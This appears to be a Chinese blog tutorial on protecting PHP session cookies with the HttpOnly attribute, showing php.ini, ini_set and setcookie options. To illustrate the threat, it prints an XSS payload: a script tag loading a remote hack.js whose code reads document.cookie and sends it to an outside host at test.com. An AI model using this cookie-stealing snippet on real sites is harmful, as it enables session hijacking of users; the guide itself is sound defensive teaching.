PHP通过对敏感cookie信息设置HttpOnly属性提升安全性

httponly是微软对cookie做的扩展,这个主要是解决用户的cookie可能被盗用的问题。
大家都知道,当我们去邮箱或者论坛登陆后,服务器会写一些cookie到我们的浏览器,当下次再访问其他页面时,由于浏览器会自动传递cookie,这样就实现了一次登陆就可以看到所有需要登陆后才能看到的内容。也就是说,实质上,所有的登陆状态这些都是建立在cookie上的!假设我们登陆后的cookie被人获得,那就会有暴露个人信息的危险!当然,想想,其他人怎么可以获得客户的cookie?那必然是有不怀好意的人的程序在浏览器里运行!如果是现在满天飞的流氓软件,那没有办法,httponly也不是用来解决这种情况的,它是用来解决浏览器里javascript访问cookie的问题。试想,一个flash程序在你的浏览器里运行,就可以获得你的cookie的!

大部分浏览器包括IE6都支持httponly

如何设置httponly属性

1、在php.ini中,设置session.cookie_httponly = ture 或 1来开启全局的Cookie的HttpOnly属性
2、或者在PHP程序中设置:ini_set(“session.cookie_httponly”, 1);
3、或者setcookie()的第七个参数设置为true,这是更灵活的办法,例如要设置一个tmp的cookie变量,则:setcookie(“tmp”, 100, NULL, NULL, NULL, NULL, TRUE);

设置httponly属性前后对比

设置httponly属性前

在PHP程序中添加以下代码则写入了一个cookie,它的值是100:

setcookie("tmp", 100);

在火狐浏览器里运行,然后打开firebug,在控制台里输入document.cookie就可以查看cookie信息:
http1
即可以通过javascript程序获取用户的cookie信息。
那么有人会问了,黑客如何通过javascript程序获取用户的cookie信息呢?
一般程序里会有输入框之类的让用户填入信息,例如用户填写了一段js代码:
01232843-4fe14598db25481f83cee171e82f778b

那么程序在打开后,会执行远程的js代码。

看看坏蛋做了什么

<script type="text/javascript" src="http://test.com/hack.js"></script>

这条语句利用script的src跨域请求坏蛋自己的脚本

hack.js中的内容:

var c=document.cookie;
var script =document.createElement('script');
script.src='http://test.com/index.php?c='+c;
document.body.appendChild(script);

脚本中创建了一个script标签,将获取的当前用户的cookie发送到了

http://test.com/index.php

index.php就可以通过$_GET[‘c’]获取到信息后写入文本或者数据库中。这样坏蛋就获取到了用户的cookie信息。

设置httponly属性后

例如tmp是一个敏感信息,我们不希望坏蛋可以简单的通过js来获取到,那么通过设置:

setcookie("tmp", 100, NULL, NULL, NULL, NULL, TRUE);

再来firbug控制台里输入document.cookie看看:
20161027111709
发现tmp信息无法获取到了。
在firebug里,切换到cookie,可以看到tmp被设置了httponly属性
20161027111800

结论

通过设置cookie的httponly属性,可以使javascript程序无法获取到cookie信息,从而提升安全性。但HttpOnly并不是万能的,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器通过协议实现限制的,黑客可不会那么傻,肯定不会用HTTP协议来读取cookie,肯定是在socket层面写抓包程序,相当于写一个低于IE6版本的应用程序,这样的话,还是可以获取到用户的cookie信息。

发表评论

邮箱地址不会被公开。 必填项已用*标注